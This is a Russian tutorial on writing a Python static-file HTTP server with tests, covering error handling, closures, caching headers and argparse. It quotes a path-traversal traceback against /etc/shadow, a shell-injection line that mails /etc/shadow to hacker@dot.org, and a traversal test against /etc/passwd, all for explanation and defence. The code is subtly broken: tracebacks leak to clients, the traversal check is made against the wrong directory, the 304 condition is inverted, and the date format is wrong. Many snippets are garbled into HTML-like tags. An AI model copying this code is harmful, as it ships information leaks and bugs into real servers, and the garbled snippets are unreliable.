В каждом хэндлере всех ошибок не отловишь, да и полагаться на их будущих авторов тоже не стоит. «Хочешь чтобы было хорошо — сделай это сам!». Где у нас есть место, в котором можно раз и навсегда защитить сервер от крашей по причине ошибок хэндлеров? Они вызываются из диспетчера on_request, пристегнём его try-мнями безопасности:

1
2
3
4
5
6
7
8
9
try:  # всё что далее, под защитой
    for pattern, handler in self.handlers:
        if pattern(request):
            handler(request)
            return True
except Exception as err:                                              # ловим все ошибки
    request.reply('500', 'Infernal server error', 'Ай нанэ-нанэ...')  # и сообщаем в ответе
    return False  # обязательно заканчиваем выполнение после request.reply чтобы не слать уже в закрытое соединение
# соединение закрыто, сервер продолжает свою работу

Конечно, это не защитит от всяких фатальных ошибок типа вызывающих core dump, но уже что-то. Тесты теперь ловят свой законный «груз 500», но человек, заглянувший браузером останется в непонятках и будет зол. Особенно если это сам разработчик в поисках проблемы. Питон позволяет не просто отлавливать код и сообщение ошибки, но и ситуацию, в которой она возникла. А заполучить это нам поможет штатный модуль traceback.

Сделаем более детальный тест:

1
2
3
request, headers, body = self.client('/crash/me/')
eq_(request<1>, '500')
assert 'NameError' in body, body


Выражение assert это способ языка проверить очень-важное-условие. assert False — всегда будет вызывать исключение AssertionError. А чтобы сразу было видно, что не понравилось условию, вторым «аргументом» assert идёт тело ответа. Прямо сейчас нам оттуда просто выражают сожаление, но ничего конкретного не сообщают.

Немного изменим обработку ошибки:

1
request.reply('500', 'Infernal server error', traceback.format_exc())


curl стал показывать трейсбек и ошибку, что значительно облегчит написание и отладку обработчиков:

1
2
3
4
...
  File "handlers.py", line 5, in serve_static
    data = open(request.url<1:>).read()
IOError: <errno> Permission denied: '../../../../../../../../../../../etc/shadow'</errno>


Этому хаку уже сто лет 21 год в обед и нам ещё повезло, что open не умеет выполнять команды внутри скобок типа `mail hacker@dot.org < /etc/shadow` и прочие шелловские штучки, которым были подвержены в детском возрасте многие демоны. Но всё же, даже такая штука весьма неприятна даже если сервер запущен от nobody:nogroup.

Сегодня — день TDD, поэтому сразу заготавливаем проверку. Это уже не для сервера в целом, а для конкретного хэндлера, поэтому и отправляется в его набор test_static:

1
eq_('404', self.client('/../../../../../../../../../../../etc/passwd')<0><1>)


Убедившись, что nosetests выдаёт наш «законный» AssertionError: '404' != '200', отправляемся писать фикс.

В библиотеке os.path есть много интересных функций, поэкспериментировав с которыми можно найти одну, которая выдаёт, что указаный путь выходит за уровень начального:

1
2
3
4
5
6
from os.path import relpath

def serve_static(request):
    path = request.url<1:>              # сразу отрезаем кусочек из урла, он нам дальше ещё везде пригодится
    if relpath(path).startswith('..'):  # побег! аларм!
        return request.reply('404', 'Not found', '%s: not found' % path)  # отказываемся обслуживать запрос


Что-то я уже подзадолбался писать «return request.reply()», тем более, что сервер в итоге и так ещё потом пытается ловить ошибки. А ведь 4хх и 5хх это именно ошибки и есть. Вынесем их в отдельный класс исключений, которые затем можно будет везде бросать и ловить:

1
2
class HTTPError(Exception):
    pass


И всё. Остальные могут его импортировать и пользоваться. Сделаем для него специальный способ обработки в диспетчере:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
...
except HTTPError as error:
    err_code = error.args<0>  # передаём код ошибки в аргументе исключения
    reply = {             # сообщения стандартные
        404: 'Not found',
        403: 'Permission denied',
    }<err_code>               # питонский аналог switch/case
    request.reply(str(err_code), reply, "%s: %s" % (reply, request.url)) # формируем ответ
    return False                                                         # и отваливаемся
...</err_code>


После перевода ошибок на рельсы HTTPError оставшиеся ошибки из файловой системы транслируются в коды HTTP достаточно тривиально.

Выдавать файлы из текущего каталога это забавно, но хочется всё же указать привычный /var/www, а может даже не один. Тоесть понадобится система альясов url ? path, а значит нужна связь между паттерном и хэндлером. Можно было бы сделать специальный класс с конструктором (url, root) и методами pattern & handler, которые через экземпляр класса бы знали свои начальные параметры. Но «объекты это замыкания для бедных» © Norman Adams. Действительно, зачем городить целый класс, потом создавать его экземпляр, потом брать его методы и засовывать в сервер, когда нам нужно всего лишь объединить область видимости уже готовой функции с паттерном, который отловит соответствующий URL.

Первым делом, первым делом — юнит тесты... Завернём раздатчик статики так, чтобы функция выдавала две других функции и передадим это хозяйство через развёртывание позиционных аргументов:

1
self.server.register(*serve_static('/', '.'))

Ровно тоже самое, что и было: все урлы раздаются из текущего каталога.

Нынешнюю serve_static переименуем в handler и завернём внутрь новой serve_static(url, root):

1
2
3
def serve_static(url, root):
    def handler(request):
        ...


Теперь у нас есть создание функции внутри другой функции. При этом изнутри handler будут доступны также ещё url и root из «родительской функции». Добавим паттерн и возврат двух свежесозданных функций:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
def serve_static(url, root):
    cut = len(url)  # сразу подсчитаем сколько надо отрезать от url для преобразования в путь относительно root

    def pattern(request):
        return request.url.startswith(url)

    def handler(request):
        path = "%s/%s" % (root, request.url<cut:>)  # превращаем путь из URL в путь на ФС
        ...

    return pattern, handler</cut:>

Замыкания потому так и называются, что, после того, как возврат произведён, всё состояние как бы перестаёт существовать, как река, в которую нельзя войти дважды. Но функции, созданные (они на самом деле создаются на ходу - можете проверить их id) продолжают иметь доступ к этому «висящему в пустоте» контексту и всем его переменным. Поэтому единожды посчитаная длина базового URL продолжает оставаться доступной для всего кода порождённого внутри.

Тесты как обычно показывают, что код в порядке и при переезде ничего не отломилось.

Другой важной задачей файлого сервера, помимо отдавания файлов, является... не-отдавание файлов когда это возможно. Это называется «кэш на стороне клиента» и обеспечивается с помощью пары заголовков If-Modified-Since/Last-Modified и кода HTTP 304: Not modified.

Для того чтобы договориться о том, что надо или не надо передавать содержимое файла сервер посылает заголовок Last-Modified с датой последнего изменения по GMT в формате RFC1123: '%a, %d %b %Y %H:%I:%S GMT'. Чтобы получить эту дату (и ещё другие вещи, которые тоже пригодятся) используем os.stat:

1
2
&gt;&gt;&gt; os.stat('./handlers.py')
posix.stat_result(st_mode=33188, st_ino=10881370L, st_dev=2097L, st_nlink=1, st_uid=1000, st_gid=1000, st_size=860L, st_atime=1296987898, st_mtime=1296987898, st_ctime=1296987898)

Отсюда нам интересны st_mtime (время изменения), st_size (размер) и st_mode (вдруг это не файл вообще). Если такого узла в файловой системе не будет, возникнет исключение OSError/2 (а не, IOError, как в случае с open). С каталогами мы разберёмся в следующей части, а дата и размер берутся достаточно легко.

1
2
3
4
5
6
7
try:
    stat = os.stat(path)                                                # собираем информацию
    mod_time = time.strftime(DATE_RFC1123, time.gmtime(stat.st_mtime))  # форматируем время
    data = open(path).read()                                            # пока что продолжаем читать содержимое
except (OSError, IOError) as err:  # ловим сразу несколько исключений
    ...
request.reply(body=data, content_length=stat.st_size, last_modified=mod_time)  # размер берём сразу из stat, добавляем дату


Клиент, увидев дату, запомнит её и в следующий раз отправит вместе с запросом в заголовке If-Modified-Since, который надо распарсить и сравнить с датой файла. Сразу оформим это в виде теста:

1
2
3
4
# ... предыдущий запрос к handlers.py ... #
reply, headers, body = self.client('/handlers.py', if_modified_since=headers<'LAST-MODIFIED'>)
eq_(reply, <'HTTP/1.0', '304', 'Not modified'>)
eq_(body, '')


И сделаем закорачивание обработки сразу после stat:

1
2
3
4
5
6
7
if 'IF-MODIFIED-SINCE' in request.headers:
    try:
        request_mtime = time.mktime(time.strptime(request.headers<'IF-MODIFIED-SINCE'>, DATE_RFC1123))
    except ValueError:
        request_mtime = None                             # в заголовках мусор
    if request_mtime and request_mtime &lt; stat.st_mtime:
        return request.reply('304', 'Not modified', '')  # сам файл уже не читаем


Вот и всё. Осталось починить дефолтный сервер, а заодно добавить немного настроек.

В python 2.7 появился очередной модуль разбора аргументов командной строки argparse, который довольно неплох. Для предыдущих версий его можно поставить из pip. А можно и не ставить и сделать так, чтобы сервер запускался и без него. import ничем не хуже других инструкций питона и бросает самые обычные исключения, которые можно просто отловить и обойти.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
if __name__ == '__main__':
    from handlers import serve_static

    port, root = 8000, '.'  # значения по-умолчанию

    try:
        import argparse
        parser = argparse.ArgumentParser()
        options = parser.parse_args()
    except ImportError:
        pass  # нету, и не очень-то и хотелось...

    server = HTTPServer(port=port)
    server.register(*serve_static('/', root))
    server.serve()


Код теперь попытается разобрать командную строку и скромно откажется принимать какие-либо аргументы кроме --help/-h. Допишем разбор порта и корневого каталога для раздачи:

1
2
3
4
parser.add_argument('--port', nargs='?', type=int, default=port)  # преобразуем аргумент сразу к типу int
parser.add_argument('--root', nargs='?', type=str, default=root)  # str не обязательно, они и так будут строками
options = parser.parse_args()
port, root = options.port, options.root                           # вытаскиваем улов


Формат очень простой: полное имя переменной (короткое он сам сделает), количество аргументов (? - один необязательный, * - много необязательных или фиксированое число), в какой тип преобразовывать (если надо) и значение по-умолчанию (None, если не указывать). Там есть ещё другие интересные опции, но этих нам хватит. Если полное имя написать без «--», то получится позиционный аргумент.

Результаты регистрации аргументов можно посмотреть вызывав справку:

1
2
3
4
5
6
7
$ python -m serve -h
usage: serve.py <-h> <--port <port>> <--root <root>>

optional arguments:
  -h, --help     show this help message and exit
  --port </root></port><port>
  --root <root></root></port>


Даже такая, казалось бы, простейшая задача содержит предостаточно подводных граблей и возможностей хвастнуть питоном. В следующей статье мы обкатаем ещё несколько важных особенностей сервера, протоколов и питона.


А пока вот полный код.

handlers.py

# -*- coding: utf-8 -*-

import os, time
from os.path import relpath

from serve import HTTPError

def serve_static(url, root):
    cut = len(url)

    DATE_RFC1123 = '%a, %d %b %Y %H:%I:%S GMT'

    def pattern(request):
        return request.url.startswith(url)

    def handler(request):
        path = "%s/%s" % (root, request.url[cut:])

        if relpath(path).startswith('..'):
            raise HTTPError(404)

        try:
            stat = os.stat(path)
            if 'IF-MODIFIED-SINCE' in request.headers:
                try:
                    request_mtime = time.mktime(time.strptime(request.headers['IF-MODIFIED-SINCE'], DATE_RFC1123))
                except ValueError:
                    request_mtime = None                             # в заголовках мусор
                if request_mtime and request_mtime < stat.st_mtime:
                    return request.reply('304', 'Not modified', '')

            mod_time = time.strftime(DATE_RFC1123, time.gmtime(stat.st_mtime))
            data = open(path).read()
        except (OSError, IOError) as err:
            if err.errno == 2:
                raise HTTPError(404)  # not found
            if err.errno == 13:
                raise HTTPError(403)  # no access
            if err.errno == 21:
                raise HTTPError(403)  # is a directory
            raise

        request.reply(body=data, content_length=stat.st_size, last_modified=mod_time)

    return pattern, handler

serve.py

# -*- coding: utf-8 -*-
import socket
import traceback
from datetime import datetime

class HTTPError(Exception):
    pass

def parse_http(data):
    lines = data.split('\r\n')
    query = lines[0].split(' ', 2)

    headers = {}
    for pos, line in enumerate(lines[1:]):
        if not line.strip():
            break
        key, value = line.split(': ', 1)
        headers[key.upper()] = value

    body = '\r\n'.join(lines[pos+2:])

    return query, headers, body


def encode_http(query, body='', **headers):
    data = [" ".join(query)]

    headers = "\r\n".join("%s: %s" %
        ("-".join(part.title() for part in key.split('_')), value)
        for key, value in sorted(headers.iteritems()))

    if headers:
        data.append(headers)

    data.append('')

    if body:
        data.append(body)

    return "\r\n".join(data)

class Request(object):
    """Контейнер с данными текущего запроса и средством ответа на него"""

    def __init__(self, method, url, headers, body, conn):
        self.method = method
        self.url = url
        self.headers = headers
        self.body = body
        self.conn = conn

    def __str__(self):
        return "%s %s %r" % (self.method, self.url, self.headers)

    def reply(self, code='200', status='OK', body='', **headers):
        headers.setdefault('server', 'OwnHands/0.1')
        headers.setdefault('content_type', 'text/plain')
        headers.setdefault('content_length', len(body))
        headers.setdefault('connection', 'close')
        headers.setdefault('date', datetime.now().ctime())

        self.conn.send(encode_http(('HTTP/1.0', code, status), body, **headers))
        self.conn.close()

class HTTPServer(object):
    def __init__(self, host='', port=8000):
        """Распихиваем по карманам аргументы для старта"""
        self.host = host
        self.port = port
        self.handlers = []

    def serve(self):
        """Цикл ожидания входящих соединений"""
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind(('', 8000))
        sock.listen(50)

        while True:
            conn, addr = sock.accept()
            self.on_connect(conn, addr)

    def on_connect(self, conn, addr):
        """Соединение установлено, вычитываем запрос"""
        (method, url, proto), headers, body = parse_http(conn.recv(1024))
        self.on_request(Request(method, url, headers, body, conn))

    def on_request(self, request):
        """Обработка запроса"""
        print request

        try:
            for pattern, handler in self.handlers:
                if pattern(request):
                    handler(request)
                    return True
        except HTTPError as error:
            code = error.args[0]
            reply = {
                404: 'Not found',
                403: 'Permission denied',
            }[code]
            request.reply(str(code), reply, "%s: %s" % (reply, request.url))
            return False
        except Exception as err:
            request.reply('500', 'Infernal server error', traceback.format_exc())
            return False

        # никто не взялся ответить
        request.reply('404', 'Not found', 'Письмо самурай получил\nТают следы на песке\nСтраница не найдена')

    def register(self, pattern, handler):
        self.handlers.append((pattern, handler))

if __name__ == '__main__':
    from handlers import serve_static

    port, root = 8000, '.'

    try:
        import argparse
        parser = argparse.ArgumentParser()
        parser.add_argument('--port', nargs='?', type=int, default=port)
        parser.add_argument('--root', nargs='?', type=str, default=root)
        options = parser.parse_args()
        port, root = options.port, options.root
    except ImportError:
        pass

    server = HTTPServer(port=port)
    server.register(*serve_static('/', root))
    server.serve()

tests.py

# -*- coding: utf-8 -*-
from nose.tools import eq_

from serve import HTTPServer, parse_http, encode_http
from handlers import serve_static

class MockConnection(object):
    def __init__(self, data=''):
        """Создаём буферы для приёма и передачи"""
        self.read = data
        self.sent = ''

    def recv(self, buf_size=None):
        """HTTP читает всё сразу, поэтому на буфер пофиг"""
        return self.read

    def send(self, data):
        """Просто накапливаем отправленое"""
        self.sent += data

    def close(self):
        """Закрывать нечего, просто заглушка"""
        pass

class MockClient(object):
    def __init__(self, server):
        self.server = server

    def __call__(self, url, method="GET", body='', **headers):
        conn = MockConnection(encode_http((method, url, "HTTP/1.0"), body, **headers))
        self.server.on_connect(conn, None)
        return parse_http(conn.sent)

class TestHTTP(object):
    def test_request(self):
        """Тестирование в режиме запроса: клиент сериализует, сервер разбирает"""

        eq_(encode_http(('GET', '/', 'HTTP/1.0'), user_agent="test/shmest"),
            'GET / HTTP/1.0\r\nUser-Agent: test/shmest\r\n')

        eq_(encode_http(('POST', '/', 'HTTP/1.0'), 'post=body', user_agent="test/shmest"),
            'POST / HTTP/1.0\r\nUser-Agent: test/shmest\r\n\r\npost=body')

        eq_(parse_http('POST / HTTP/1.0\r\nUser-Agent: test/shmest\r\n\r\npost=body'),
            (['POST', '/', 'HTTP/1.0'], {'USER-AGENT': 'test/shmest'}, 'post=body'))

    def test_response(self):
        """Тестирование в режиме ответа: сервер сериализует, клиент разбирает"""
        data = 'HTTP/1.0 200 OK\r\nSpam: eggs\r\nTest-Me: please\r\n\r\nHellow, orld!\n'

        eq_(data, encode_http(('HTTP/1.0', '200', 'OK'), 'Hellow, orld!\n', test_me='please', spam="eggs"))

        reply, headers, body = parse_http(data)
        eq_(reply, ['HTTP/1.0', '200', 'OK'])
        eq_(headers, {'TEST-ME': 'please', 'SPAM': 'eggs'})
        eq_(body, 'Hellow, orld!\n')

class TestServer(object):
    def setup(self):
        self.server = HTTPServer()
        self.client = MockClient(self.server)

    def test_404(self):
        reply, headers, body = self.client('/you/cant/find/me/?yet')
        eq_(reply, ['HTTP/1.0', '404', 'Not found'])
        eq_(headers['SERVER'], 'OwnHands/0.1')

    def test_handlers(self):
        self.server.register(lambda r: r.url.startswith('/hello/'),
                             lambda r: r.reply(body='hi'))

        reply, headers, body = self.client('/hello/world/')
        eq_(reply[1], '200')
        eq_(body, 'hi')

        self.server.register(lambda r: r.method == 'POST',
                             lambda r: r.reply(body=r.body))
        reply, headers, body = self.client('/looking/for/a/POST/', 'POST', 'any url')
        eq_(reply[1], '200')
        eq_(body, 'any url')

        self.server.register(lambda r: r.url == '/crash/me/', lambda r: no_you)
        request, headers, body = self.client('/crash/me/')
        eq_(request[1], '500')
        assert 'NameError' in body, body


class TestHandlers(object):
    def setup(self):
        self.server = HTTPServer()
        self.client = MockClient(self.server)

    def test_static(self):
        """Раздача файлов с диска"""

        self.server.register(*serve_static('/', '.')) # обслуживать все запросы как файл-сервер

        eq_('404', self.client('/give-me-nice-404')[0][1])

        reply, headers, body = self.client('/handlers.py') # файл из каталога сервера
        eq_('200', reply[1])
        data = open('handlers.py').read()
        eq_(body, data)
        eq_(int(headers['CONTENT-LENGTH']), len(data))

        reply, headers, body = self.client('/handlers.py', if_modified_since=headers['LAST-MODIFIED'])
        eq_(reply, ['HTTP/1.0', '304', 'Not modified'])
        eq_(body, '')

        eq_('404', self.client('/../../../../../../../../../../../etc/passwd')[0][1])